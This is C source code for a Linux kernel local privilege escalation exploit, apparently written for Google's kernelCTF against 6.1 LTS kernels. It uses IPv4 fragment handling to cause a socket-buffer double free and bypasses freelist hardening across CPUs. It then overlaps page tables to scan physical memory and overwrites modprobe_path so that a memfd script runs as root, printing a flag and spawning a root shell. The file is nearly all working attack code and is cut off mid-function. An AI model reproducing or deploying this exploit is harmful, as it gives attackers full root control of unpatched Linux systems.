#define _GNU_SOURCE 1
#include <sched.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <string.h>
#include <fcntl.h>
#include <sys/xattr.h>
#include <errno.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

#include "env.h"
#include "net.h"
#include "nftnl.h"
#include "file.h"
#include "config.h"

static char intermed_buf[1 << 16];

static void send_ipv4_ip_hdr_chr(size_t dfsize, struct ip *ip_header, char chr)
{
	memset(intermed_buf, chr, dfsize);
	send_ipv4_ip_hdr(intermed_buf, dfsize, ip_header);
}

static void trigger_double_free_hdr(size_t dfsize, struct ip *ip_header)
{
	printf("[*] sending double free buffer packet...\n");
	send_ipv4_ip_hdr_chr(dfsize, ip_header, '\x41');
}

static void alloc_intermed_buf_hdr(size_t dfsize, struct ip *ip_header)
{
	printf("[*] sending intermediate buffer packet...\n");
	send_ipv4_ip_hdr_chr(dfsize, ip_header, '\x00');
}

static void set_ipfrag_time(unsigned int seconds)
{
	int fd;
	
	fd = open("/proc/sys/net/ipv4/ipfrag_time", O_WRONLY);
	if (fd < 0) {
		perror("open$ipfrag_time");
		exit(1);
	}

	dprintf(fd, "%u\n", seconds);
	close(fd);
}

static void pin_cpu(int cpu_id) {
    cpu_set_t mask;

    CPU_ZERO(&mask); // clear the CPU set
    CPU_SET(cpu_id, &mask); // set the bit that represents CPU x

    if (sched_setaffinity(0, sizeof(cpu_set_t), &mask) == -1) {
        perror("sched_setaffinity");
        exit(1); 
    } 
}

static void modprobe_trigger_memfd()
{
	int fd;
	char *argv_envp = NULL;

	fd = memfd_create("", MFD_CLOEXEC);
	write(fd, "\xff\xff\xff\xff", 4);

	fexecve(fd, &argv_envp, &argv_envp);
	
	close(fd);
}

#define MEM_STAT_DO_UPDATE 0
#define MEM_STAT_DO_IO 1
#define MEM_STAT_RESCAN 2
#define LOCK_STAT_0 0
#define LOCK_STAT_1 1
#define LOCK_STAT_NONE 2
#define FLUSH_STAT_INPROGRESS 0
#define FLUSH_STAT_DONE 1
#define EXPLOIT_STAT_RUNNING 0
#define EXPLOIT_STAT_FAIL 1
#define EXPLOIT_STAT_SUCCESS 2

struct shared_info {
	int mem_status;
	int lock_status;
	int flush_status;
	int exploit_status;
	unsigned long long kernel_addr;
	unsigned long long iteration_base;
};

#define SPINLOCK(cmp) while (cmp) { usleep(10 * 1000); }

#define SPINLOCK_NOSLEEP(cmp) while (cmp) { }

// syncs threads within 5ms diffs by calling both SYNC_CPU0() and SYNC_CPU1()
// allows CPU1 to be earlier and allows CPU0 to be earlier

#define SYNC_CPU0() do { \
		printf("[*] syncing cpu 0...\n"); \
		SPINLOCK_NOSLEEP(memdump_info->lock_status == LOCK_STAT_NONE); \
\
		memdump_info->lock_status = LOCK_STAT_0; \
		SPINLOCK_NOSLEEP(memdump_info->lock_status == LOCK_STAT_0); \
\
		memdump_info->lock_status = LOCK_STAT_NONE; \
 } while (0);

#define SYNC_CPU1() do { \
		printf("[*] syncing cpu 1...\n"); \
		memdump_info->lock_status = LOCK_STAT_1; \
		SPINLOCK_NOSLEEP(memdump_info->lock_status == LOCK_STAT_1); \
\
		memdump_info->lock_status = LOCK_STAT_1; \
 } while (0);

// presumably needs to be CPU pinned
/*static void flush_tlb(struct shared_info *meminfo, void *addr, size_t len)
{
	meminfo->flush_status = FLUSH_STAT_INPROGRESS;
	if (fork() == 0)
	{
		munmap(addr, len);
		meminfo->flush_status = FLUSH_STAT_DONE;
		PRINTF_VERBOSE("[*] flush tlb thread gonna sleep\n");
		sleep(9999);
	}

	SPINLOCK(meminfo->flush_status == FLUSH_STAT_INPROGRESS);
}*/

static void flush_tlb(void *x, void *addr, size_t len)
{
	short *status;

	status = mmap(NULL, sizeof(short), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);

	*status = FLUSH_STAT_INPROGRESS;
	if (fork() == 0)
	{
		munmap(addr, len);
		*status = FLUSH_STAT_DONE;
		PRINTF_VERBOSE("[*] flush tlb thread gonna sleep\n");
		sleep(9999);
	}

	SPINLOCK(*status == FLUSH_STAT_INPROGRESS);

	munmap(status, sizeof(short));
}

// flush TLB when KPTI is enabled
/*static void flush_tlb(struct shared_info *meminfo, void *addr, size_t len)
{
	//syscall(9, NULL, 0, 0, 0, 0, 0);  // <<TODO>> REVERT
	syscall(1337);  // <<TODO>> REVERT
}*/

// mimics xxd output
static void print_hex_dump(const unsigned char *buffer, size_t size) {
    size_t offset = 0;

    while (size > 0) {
        printf("%08lx: ", 0x200000 + offset);

        size_t chunkSize = size < 16 ? size : 16;

        for (size_t i = 0; i < chunkSize; ++i) {
            printf("%02x", buffer[offset + i]);

            if ((i + 1) % 2 == 0) {
                printf(" ");
            }
        }

        // Pad with spaces if necessary
        for (size_t i = chunkSize; i < 16; ++i) {
            printf("   ");
        }

		printf(" ");

        // Print printable characters
        for (size_t i = 0; i < chunkSize; ++i) {
            if (buffer[offset + i] >= 32 && buffer[offset + i] <= 126) {
                putchar(buffer[offset + i]);
            } else {
                putchar('.');
            }
        }

        putchar('\n');
        offset += chunkSize;
        size -= chunkSize;
    }
}

#define MEMCPY_HOST_PATH(buf, pid, postfix) sprintf((buf), "/proc/%u/cwd/%s", (pid), (postfix));
#define MEMCPY_HOST_FD_PATH(buf, pid, fd) sprintf((buf), "/proc/%u/fd/%u", (pid), (fd));

static int is_kernel_base(unsigned char *addr)
{
	// thanks python
	if (memcmp(addr + 0x0, "\x48\x8d\x25\x51\x3f", 5) == 0 &&
			memcmp(addr + 0x7, "\x48\x8d\x3d\xf2\xff\xff\xff\xb9\x01\x01\x00\xc0\x48\x8b\x05", 15) == 0 &&
			memcmp(addr + 0x1a, "\x48\xc7\xc2\x00\x00\x00", 6) == 0 &&
			memcmp(addr + 0x21, "\x48\x29\xd0\x48\x01\xf8\x48\x89\xc2\x48\xc1\xea\x20\x0f\x30\x56\xe8", 17) == 0 &&
			memcmp(addr + 0x34, "\x00\x00\x5e", 3) == 0 &&
			memcmp(addr + 0x43, "\x48", 1) == 0 &&
			memcmp(addr + 0x4d, "\xe8", 1) == 0 &&
			memcmp(addr + 0x50, "\x00\x00\x48\x8d\x3d\xa7\xff\xff\xff\x56\xe8", 11) == 0 &&
			memcmp(addr + 0x5d, "\x00\x00\x5e\x48", 4) == 0 &&
			memcmp(addr + 0x6c, "\x00\x00\x00\x00\xe8", 5) == 0 &&
			memcmp(addr + 0x72, "\x00\x00\x00\x48\x8b\x04\x25", 7) == 0 &&
			memcmp(addr + 0x7d, "\x48", 1) == 0 &&
			memcmp(addr + 0x8d, "\x00\x00", 2) == 0) {
		return 1;
	}

	return 0;	
}

// smp >= 2 && CONFIG_SLAB_FREELIST_HARDENED
// - bypass skb double free detection by using different cpu's for free's
// - unstable (low consistency)
static void privesc_flh_bypass(struct shared_info *memdump_info)
{
	unsigned long long *pmd_area;
	void *_pud_area;
	void *pud_kernel_area;
	void *pud_data_area;
	struct ip df_ip_header = {
		.ip_v = 4,
		.ip_hl = 5,
		.ip_tos = 0,
		.ip_len = 0xDEAD,
		.ip_id = 0xDEAD,
		.ip_off = 0xDEAD,
		.ip_ttl = 128,
		.ip_p = 69,
		.ip_src.s_addr = inet_addr("1.1.1.1"),
		.ip_dst.s_addr = inet_addr("255.255.255.255"),
	};
	int child_pid;
	// char modprobe_path[KMOD_PATH_LEN] = CONFIG_MODPROBE_PATH;
	char *modprobe_path;
	
	printf("[+] running bypassed privesc\n");

    PRINTF_VERBOSE("[*] doing first useless allocs to setup caching and stuff...\n");

	// pre-allocate PUD for PMD
	mmap((void*)0x200000, 0x200000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	*(unsigned long long*)0x200000 = 0xCAFEBABE;

	// pre-allocate VMA for PMD and PUD (not themself)
	pmd_area = mmap((void*)0x40000000, 0x200000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);  // shared bcs it may be used for cache flushing
	
	// these use different PTEs but the same PUD
	_pud_area = mmap((void*)0x8000000000, 0x400000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	pud_kernel_area = _pud_area;
	pud_data_area = _pud_area + 0x200000;

	// create read-only buffer to catch some nasty bugs
	modprobe_path = mmap(NULL, KMOD_PATH_LEN, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	strcpy(modprobe_path, CONFIG_MODPROBE_PATH);
	mprotect(modprobe_path, KMOD_PATH_LEN, PROT_READ);

	PRINTF_VERBOSE("[*] allocated VMAs for process:\n  - pmd_area: %p\n  - pud_area: %p\n  - memdump area: %p\n  - modprobe_path: '%s' @ %p\n", pmd_area, _pud_area, memdump_info, modprobe_path, modprobe_path);
	
	populate_sockets();

	set_ipfrag_time(1);

	// cause session-related objects to be allocated
	df_ip_header.ip_id = 0x1336;
	df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 8 + 4000;
	df_ip_header.ip_off = ntohs((8 >> 3) | 0x2000);
	alloc_intermed_buf_hdr(32768 + 8, &df_ip_header);

	pin_cpu(0);
	
	printf("[*] waiting for the calm before the storm...\n");
	child_pid = fork();
	sleep(10);  // do not lower, background noise makes kernel very angry

	// ===== NEXT PHASE: skb double free in kmalloc-N (16-page from buddy-allocator for exploit) and skbuff_head_cache =====

	if (child_pid == 0) {
		pin_cpu(1);

		SYNC_CPU1();

		// append to ip packet with fragment to free packet on *this* cpu
		// offset <<= 3, so divide by 8 aka >> 3 (this is so we have 3 bits for fragmentation flags)
		// setup ipfrag_time timer for fragment expiration / waiting for frags
		df_ip_header.ip_id = 0x1337;
		df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
		df_ip_header.ip_off = ntohs(((32768 + 8) >> 3) | 0x2000);
		
		// skb1->len gets overwritten by s->random() in set_freepointer(). need to discard queue with tricks circumventing skb1->len
		// causes end == offset in ip_frag_queue(). packet will be empty
		// remains running until after both frees, a.k.a. does not require sleep
		alloc_intermed_buf_hdr(0, &df_ip_header);
		
		pmd_area[0] = 0xDEADBEEF;

		// pud will be allocated and populated
		SPINLOCK(memdump_info->mem_status == MEM_STAT_DO_IO);

		flush_tlb(memdump_info, pmd_area, 0x200000);

		//printf("[*] PTE for PUD page: %016llx\n", pmd_area[0]);
		printf("[*] PTE for PMD page: %016llx\n", *(unsigned long long*)pmd_area);

		// this supports physical memory of (CONFIG_PHYSICAL_START * 512) bytes, i.e. (0x1000000 * 512) = 8GiB, can upped if necessary by just looping the code on both threads
		for (unsigned short j=0; j < 512; j++)
			pmd_area[j] = (CONFIG_PHYSICAL_START * j) | 0x8000000000000867;
		
		// will deadlock when other process completes
		while (1) {
			memdump_info->mem_status = MEM_STAT_DO_IO;
			SPINLOCK(memdump_info->mem_status == MEM_STAT_DO_IO);

			// try an(other) iteration of 0x200000 kernel bytes
			PRINTF_VERBOSE("[*] setting physical address range to 0x%016llx - 0x%016llx\n", memdump_info->iteration_base, memdump_info->iteration_base + 0x200000);

			// set the pages for the other threads PUD data range to kernel memory
			for (unsigned short j=0; j < 512; j++)
				pmd_area[512 + j] = (memdump_info->iteration_base + 0x1000 * j) | 0x8000000000000867;
		}
	} else {
#if CONFIG_FLC_BYPASS
		set_ipfrag_time(1);

		// will expire naturally after 1 second
		df_ip_header.ip_id = 0x1334;
		df_ip_header.ip_len = sizeof(struct ip)*2 + 8*2 + 8;
		df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000);
		alloc_intermed_buf_hdr(8, &df_ip_header);

		// make sure df trigger packet doesn't get expired while waiting for skb5 to be freed
		set_ipfrag_time(999);
#endif

		df_ip_header.ip_id = 0x1337;
		df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
		df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000);  // wait for other fragments. 8 >> 3 to make it wait or so?
		trigger_double_free_hdr(32768 + 8, &df_ip_header);
		
#if CONFIG_FLC_BYPASS
		// reset timer since our other-CPU packet is expiring on 1 sec
		set_ipfrag_time(1);

		// wait for corruption bypass packet to expire
		// this may need to be longer or shorter, depending on WARNING() duration
		//sleep(2);
		usleep(1100 * 1000);
#endif
		
		SYNC_CPU0();

		// soft lock on cpu == too early
		// bad page (non-zero page refcount) == too late (missed warning() window), nearly did undetected double free

		//usleep(30 * 1000);  // env:qemu-debug,kernel:debug,fs:debian,redirect:stdout env:kernel-debug-v3,kernel:lts-6.1.72,fs:kernelctf,redirect:none
		usleep(20 * 1000); //  env:kernel-debug-v2,kernel:lts-6.1.72,fs:kernelctf,redirect:none env:kernelctf,kernel:lts-6.1.64,fs:debian,redirect:none
		// ^^^^ REVERT FOR KERNELCTF PROD ^^^^

		// alloc skb3, and wait 1 second for allocating next packet to give time to other thread for allocating pmd
		df_ip_header.ip_id = 0x1338;
		df_ip_header.ip_len = sizeof(struct ip) + 32768 + 16;
		df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000); 
		alloc_intermed_buf_hdr(32768 + 8, &df_ip_header);

		// skb3 will be free'd
		usleep(1100 * 1000);

		// allocate overlapping PUD (overlaps with PMD)
		*(unsigned long long*)_pud_area = 0xCAFEBABE;
		
		memdump_info->mem_status = MEM_STAT_DO_UPDATE;
		SPINLOCK(memdump_info->mem_status == MEM_STAT_DO_UPDATE);
		
		// pud area is be overwritten using pmd area, but the TLB has not been flushed, so it is still cached with the old page
		// this flushed the kernel area of the pud
		flush_tlb(memdump_info, _pud_area, 0x400000);
		printf("[*] value for PUD page: %016llx\n", *(unsigned long long*)_pud_area);

		// get physical kernel base based on initial page's bytes
		// - this "kernel base" is actually the assembly bytecode of start_64() and variants
		// - it's different per architecture and per compiler (clang produces different signature than gcc)
		// - this can be derived from the vmlinux file by checking the second segment, which starts likely at binary offset 0x200000
		//   - i.e: xxd ./vmlinux | grep '00200000:'

		// run this script instead of /sbin/modprobe
		int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
		int status_fd = memfd_create("", MFD_CLOEXEC);
		
		for (int kernel_pud_pte_index=0; kernel_pud_pte_index < 512; kernel_pud_pte_index++) {
			// check for x64-gcc/clang signatures of kernel code segment at rest and at runtime
			if (is_kernel_base(pud_kernel_area + kernel_pud_pte_index * 0x1000) == 0)
				continue;
			
			memdump_info->kernel_addr = kernel_pud_pte_index * CONFIG_PHYSICAL_START;
			memdump_info->iteration_base = (unsigned long long)memdump_info->kernel_addr;
			printf("[+] found kernel phys addr: %016llx\n", memdump_info->kernel_addr);

			// scan 0x4000000 bytes from kernel base for modprobe path. if not found, just search for another kernel base
			for (int i=0; i < 40; i++) {
				void *pud_modprobe_addr;

				memdump_info->mem_status = MEM_STAT_DO_UPDATE;
				SPINLOCK(memdump_info->mem_status == MEM_STAT_DO_UPDATE);
				
				flush_tlb(memdump_info, _pud_area, 0x400000);
				PRINTF_VERBOSE("[*] scanning string '%s' @ %p in %016llx, pud val: %016llx...\n", modprobe_path, modprobe_path, memdump_info->iteration_base, *(unsigned long long*)pud_data_area);
				pud_modprobe_addr = memmem(pud_data_area, 0x200000, modprobe_path, KMOD_PATH_LEN);

				memdump_info->iteration_base += 0x200000;

				if (pud_modprobe_addr == NULL)
					continue;

				printf("[+] found modprobe path: '%s' @ %p (0x%016llx) by matching '%s' @ %p\n", (char*)pud_modprobe_addr, pud_modprobe_addr, memdump_info->iteration_base + (pud_modprobe_addr - pud_data_area), modprobe_path, modprobe_path);

				// ===== NEXT PHASE: privesc using modprobe_path overwrite =====

				printf("[*] modprobe_script_fd: %d, status_fd: %d\n", modprobe_script_fd, status_fd);

				int status_cnt;
				for (pid_t pid_guess=0; pid_guess < 65536; pid_guess++)
				{
					char buf;

					// overwrite the `modprobe_path` kernel variable to "/proc/<pid>/fd/<script_fd>"
					// - use /proc/<pid>/* since container path may differ, may not be accessible, et cetera
					// - it must be root namespace PIDs, and can't get the root ns pid from within other namespace
					MEMCPY_HOST_FD_PATH(pud_modprobe_addr, pid_guess, modprobe_script_fd);

					if (pid_guess % 50 == 0)
						printf("[+] setting new modprobe paths (i.e. '%s' @ %p)... matching modprobe_path scan var: '%s' @ %p\n", (char*)pud_modprobe_addr, pud_modprobe_addr, modprobe_path, modprobe_path);
					
					lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
					dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 > /proc/%u/fd/%u\ncat /flag >/dev/console\n/bin/sh 0</dev/console 1>/dev/console 2>&1\n", pid_guess, status_fd);

					// when pid is correct, run custom modprobe file as root, by triggering it by executing file with unknown binfmt
					modprobe_trigger_memfd();

					// indicates success and stops further bruteforcing
					status_cnt = read(status_fd, &buf, 1);
					if (status_cnt == 0)
						continue;

					printf("[+] successfully breached the mainframe\n");

					// prevents kernel crash due to bad pagemap
					memdump_info->exploit_status = EXPLOIT_STAT_SUCCESS;
					
					sleep(9999);
				}
			}
			
			printf("[*] failed to locate modprobe. trying to find new kernel base...\n");
		}

		printf("[!] failed to find kernel code segment... TLB flush fail?\n");
		memdump_info->exploit_status = EXPLOIT_STAT_FAIL;
		exit(1);
	}
}

static void privesc_no_smp(struct shared_info *memdump_info)
{
	void *pud_area;
	unsigned long long *pmd_area;
	struct ip df_ip_header = {
		.ip_v = 4,
		.ip_hl = 5,
		.ip_tos = 0,
		.ip_len = 0xDEAD,
		.ip_id = 0xDEAD,
		.ip_off = 0xDEAD,
		.ip_ttl = 128,
		.ip_p = 69,
		.ip_src.s_addr = inet_addr("1.1.1.1"),
		.ip_dst.s_addr = inet_addr("255.255.255.255"),
	};
	int child_pid;
	char modprobe_path[KMOD_PATH_LEN] = { '\x00' };
	
	printf("[+] running bypassed privesc\n");
    printf("[*] doing first useless alloc to setup caching and stuff...\n");
	
	strcpy(modprobe_path, CONFIG_MODPROBE_PATH);

	// pre-allocate PUD for PMD
	mmap((void*)0x200000, 0x200000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	*(unsigned long long*)0x200000 = 0xCAFEBABE;

	// pre-allocate VMA for PMD and PUD (not themself)
	pmd_area = mmap((void*)0x40000000, 0x200000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);  // shared bcs it may be used for cache flushing
	pud_area = mmap((void*)0x8000000000, 0x200000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);

	PRINTF_VERBOSE("[*] allocated VMAs for process:\n  - pmd_area: %p\n  - pud_area: %p\n  - memdump area: %p\n", pmd_area, pud_area, memdump_info);
	
	populate_sockets();
	set_ipfrag_time(1); 

	// cause session-related objects to be allocated
	df_ip_header.ip_id = 0x1336;
	df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 8 + 4000;
	df_ip_header.ip_off = ntohs((8 >> 3) | 0x2000);
	alloc_intermed_buf_hdr(32768 + 8, &df_ip_header);
	
	sleep(2);  // wait for packet to be deallocated

	//set_ipfrag_time(3600);  // incomplete packets will expire after an hour (may make the system vulnerable to network-based DDoS)

	pin_cpu(0);

	memdump_info->lock_status = LOCK_STAT_1;
	
	printf("[*] waiting for the calm before the storm...\n");
	child_pid = fork();
	sleep(10);

	// ===== NEXT PHASE: skb double free in kmalloc-N (16-page from buddy-allocator for exploit) and skbuff_head_cache =====

	if (child_pid == 0) {
		pin_cpu(1);
		
#if CONFIG_FLC_BYPASS
		// will expire naturally after N seconds
		df_ip_header.ip_id = 0x1334;
		df_ip_header.ip_len = sizeof(struct ip)*2 + 8*2 + 8;
		df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000);
		alloc_intermed_buf_hdr(8, &df_ip_header);

		// make sure df trigger packet doesn't get expired while waiting for skb5 to be freed
		set_ipfrag_time(999);
#endif
		
		df_ip_header.ip_id = 0x1339;
		df_ip_header.ip_len = sizeof(struct ip)*2 + 24;
		df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000);
		alloc_intermed_buf_hdr(8, &df_ip_header);

		df_ip_header.ip_id = 0x1337;
		df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
		df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000);  // wait for other fragments
		trigger_double_free_hdr(32768 + 8, &df_ip_header);

#if CONFIG_FLC_BYPASS
		// reset timer since our other-CPU packet is expiring on 1 sec
		set_ipfrag_time(1);

		// 1s - double alloc packet time
		usleep(1100 * 1000);
#endif
		
		df_ip_header.ip_id = 0x1338;
		df_ip_header.ip_len = sizeof(struct ip)*3 + 32768 + 32;
		df_ip_header.ip_off = ntohs((8 >> 3) | 0x2000); 

		SYNC_CPU1();
		
		// soft lock on cpu == too early
		// bad page (non-zero page refcount) == too late (missed warning() window), nearly did undetected double free

		//usleep(30 * 1000);  // env:qemu-debug,kernel:debug,fs:debian,redirect:stdout env:qemu-debug,kernel:debug,fs:debian,redirect:none
		usleep(20 * 1000); // env:qemu-debug,kernel:lts-6.1.64,fs:debian,redirect:none env:kernelctf,kernel:lts-6.1.64,fs:debian,redirect:none

		alloc_intermed_buf_hdr(32768 + 8, &df_ip_header);

		sleep(9999);
	} else {
		// append to ip packet with fragment to free packet on *this* cpu
		// offset <<= 3, so divide by 8 aka >> 3 (this is so we have 3 bits for fragmentation flags)
		// setup ipfrag_time timer for fragment expiration / waiting for frags
		df_ip_header.ip_id = 0x1337;
		df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
		df_ip_header.ip_off = ntohs(((32768 + 8) >> 3) | 0x2000);
		
		SYNC_CPU0();
		
		// skb1->len gets overwritten by s->random() in set_freepointer(). need to discard queue with tricks circumventing skb1->len
		// packet body len 0 causes end == offset in ip_frag_queue(). packet will be empty
		// remains running until after entire queue is freed
		alloc_intermed_buf_hdr(0, &df_ip_header);

		*pmd_area = 0xCAFEBABE;

		df_ip_header.ip_id = 0x1339;
		df_ip_header.ip_len = sizeof(struct ip)*2 + 24;
		df_ip_header.ip_off = ntohs((8 >> 3) | 0x2000); 
		alloc_intermed_buf_hdr(0, &df_ip_header);
		
		df_ip_header.ip_id = 0x1338;
		df_ip_header.ip_len = sizeof(struct ip)*3 + 32768 + 32;
		df_ip_header.ip_off = ntohs(((32768 + 16) >> 3) | 0x2000); 
		alloc_intermed_buf_hdr(0, &df_ip_header);

		*(unsigned long long*)pud_area = 0xDEADBEEF;

		// ==== NEXT PHASE: acquiring physical kernel base address ====

		flush_tlb(memdump_info, pmd_area, 0x1000);

		printf("[*] PTE for PUD page: %016llx\n", pmd_area[0]);

		for (unsigned short j=0; j < 512; j++)
			pmd_area[j] = (CONFIG_PHYSICAL_START * (j+1)) | 0x8000000000000867;

		flush_tlb(memdump_info, pud_area, 0x200000);

		// get physical kernel base based on initial page's bytes
		// - this "kernel base" is actually the assembly bytecode of start_64() and variants
		// - it's different per architecture and per compiler (clang produces different signature than gcc)
		// - this can be derived from the vmlinux file by checking the second segment, which starts likely at binary offset 0x200000
		//   - i.e: xxd ./vmlinux | grep '00200000:'
		
		int kernel_pud_pte_index = -1;
		for (int i=0; i < 512; i++) {
			// x64-gcc/clang signature of first instructions a.k.a. `lea rsp, [...]`
			if (is_kernel_base(pud_area + i * 0x1000)) {
				kernel_pud_pte_index = i;
				break;
			}
		}

		if (kernel_pud_pte_index == -1)
		{
			printf("[!] failed to find kernel code segment?!\n");
			memdump_info->exploit_status = EXPLOIT_STAT_FAIL;
			exit(1);
		}

		unsigned long long physical_kernel_addr = kernel_pud_pte_index * CONFIG_PHYSICAL_START;
		printf("[+] found kernel phys addr: %016llx\n", physical_kernel_addr);

		// ==== NEXT PHASE: acquiring modprobe_path base address ====

		// scan 512 * 0x1000 = 0x200000 bytes for modprobe path, and increment if not found
		void *pud_modprobe_addr = NULL;
		int scan_iterations = 0;
		while (pud_modprobe_addr == NULL) {	
			for (unsigned short j=0; j < 512; j++)
				pmd_area[j] = (physical_kernel_addr + 0x200000 * scan_iterations + 0x1000 * j) | 0x8000000000000867;

			flush_tlb(memdump_info, pud_area, 0x200000);
			
			PRINTF_VERBOSE("[*] scanning for '%s' in 0x200000++ addresses beyond kernel base %016llx, pud val: %016llx...\n", modprobe_path, physical_kernel_addr, *(unsigned long long*)pud_area);
			pud_modprobe_addr = memmem(pud_area, 0x200000, modprobe_path, KMOD_PATH_LEN);
			scan_iterations++;
		}

		printf("[+] found modprobe path: '%s' @ %p\n", (char*)pud_modprobe_addr, pud_modprobe_addr);

		// ===== NEXT PHASE: privesc using modprobe_path overwrite =====

		// run this script instead of /sbin/modprobe
		int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
		int status_fd = memfd_create("", MFD_CLOEXEC);

		printf("[*] modprobe_script_fd: %d, status_fd: %d\n", modprobe_script_fd, status_fd);

		for (pid_t pid_guess=0; pid_guess < 65536; pid_guess++)
		{
			char buf;

			// overwrite the `modprobe_path` kernel variable to "/proc/<pid>/fd/<script_fd>"
			// - use /proc/<pid>/* since container path may differ, may not be accessible, et cetera
			// - it must be root namespace PIDs, and can't get the root ns pid from within other namespace
			MEMCPY_HOST_FD_PATH(pud_modprobe_addr, pid_guess, modprobe_script_fd);

			if (pid_guess % 100 == 0)
				printf("[+] setting new modprobe paths (i.e. '%s' @ %p)...\n", (char*)pud_modprobe_addr, pud_modprobe_addr);
			
			lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
			dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 > /proc/%u/fd/%u\ncat /flag >/dev/console\n/bin/sh 0</dev/console 1>/dev/console 2>&1\n", pid_guess, status_fd);

			// when pid is correct, run custom modprobe file as root, by triggering it by executing file with unknown binfmt
			modprobe_trigger_memfd();

			// indicates success and stops further bruteforcing
			int status_cnt = read(status_fd, &buf, 1);
			if (status_cnt == 1)
			{
				printf("[+] successfully breached the mainframe\n");
				break;
			}
		}

		printf("[*] exiting exploit...");

		// prevents kernel crash due to bad pagemap
		memdump_info->exploit_status = EXPLOIT_STAT_SUCCESS;
		
		sleep(9999);
	}
}

static void privesc_no_smp_no_flc(struct shared_info *memdump_info)
{
	void *pud_area;
	unsigned long long *pmd_area;
	struct ip df_ip_header = {
		.ip_v = 4,
		.ip_hl = 5,
		.ip_tos = 0,
		.ip_len = 0xDEAD,
		.ip_id = 0xDEAD,
		.ip_off = 0xDEAD,
		.ip_ttl = 128,
		.ip_p = 69,
		.ip_src.s_addr = inet_addr("1.1.1.1"),
		.ip_dst.s_addr = inet_addr("255.255.255.255"),
	};
	int child_pid;
	char modprobe_path[KMOD_PATH_LEN] = { '\x00' };
	
	printf("[+] running bypassed privesc\n");
    printf("[*] doing first useless alloc to setup caching and stuff...\n");
	
	strcpy(modprobe_path, CONFIG_MODPROBE_PATH);

	// pre-allocate PUD for PMD
	mmap((void*)0x200000, 0x200000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	*(unsigned long long*)0x200000 = 0xCAFEBABE;

	// pre-allocate VMA for PMD and PUD (not themself)
	pmd_area = mmap((void*)0x40000000, 0x200000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);  // shared bcs it may be used for cache flushing
	pud_area = mmap((void*)0x8000000000, 0x200000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);

	PRINTF_VERBOSE("[*] allocated VMAs for process:\n  - pmd_area: %p\n  - pud_area: %p\n  - memdump area: %p\n", pmd_area, pud_area, memdump_info);
	
	populate_sockets();
	set_ipfrag_time(1); 

	// cause session-related objects to be allocated
	df_ip_header.ip_id = 0x1336;
	df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 8 + 4000;
	df_ip_header.ip_off = ntohs((8 >> 3) | 0x2000);
	alloc_intermed_buf_hdr(32768 + 8, &df_ip_header);
	
	sleep(2);  // wait for packet to be deallocated

	//set_ipfrag_time(3600);  // incomplete packets will expire after an hour (may make the system vulnerable to network-based DDoS)

	pin_cpu(0);

	memdump_info->lock_status = LOCK_STAT_1;
	
	printf("[*] waiting for the calm before the storm...\n");
	child_pid = fork();
	sleep(10);

	// ===== NEXT PHASE: skb double free in kmalloc-N (16-page from buddy-allocator for exploit) and skbuff_head_cache =====

	if (child_pid == 0) {
		pin_cpu(1);
		
#if CONFIG_FLC_BYPASS
		// will expire naturally after N seconds
		df_ip_header.ip_id = 0x1334;
		df_ip_header.ip_len = sizeof(struct ip)*2 + 8*2 + 8;
		df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000);
		alloc_intermed_buf_hdr(8, &df_ip_header);

		// make sure df trigger packet doesn't get expired while waiting for skb5 to be freed
		set_ipfrag_time(999);
#endif

		df_ip_header.ip_id = 0x1337;
		df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
		df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000);  // wait for other fragments
		trigger_double_free_hdr(32768 + 8, &df_ip_header);

#if CONFIG_FLC_BYPASS
		// reset timer since our other-CPU packet is expiring on 1 sec
		set_ipfrag_time(1);

		// 1s - wait for masking packets to expire
		usleep(1100 * 1000);
#endif
		
		df_ip_header.ip_id = 0x1338;
		df_ip_header.ip_len = sizeof(struct ip)*3 + 32768 + 32;
		df_ip_header.ip_off = ntohs((8 >> 3) | 0x2000); 

		SYNC_CPU1();
		
		// soft lock on cpu == too early
		// bad page (non-zero page refcount) == too late (missed warning() window), nearly did undetected double free

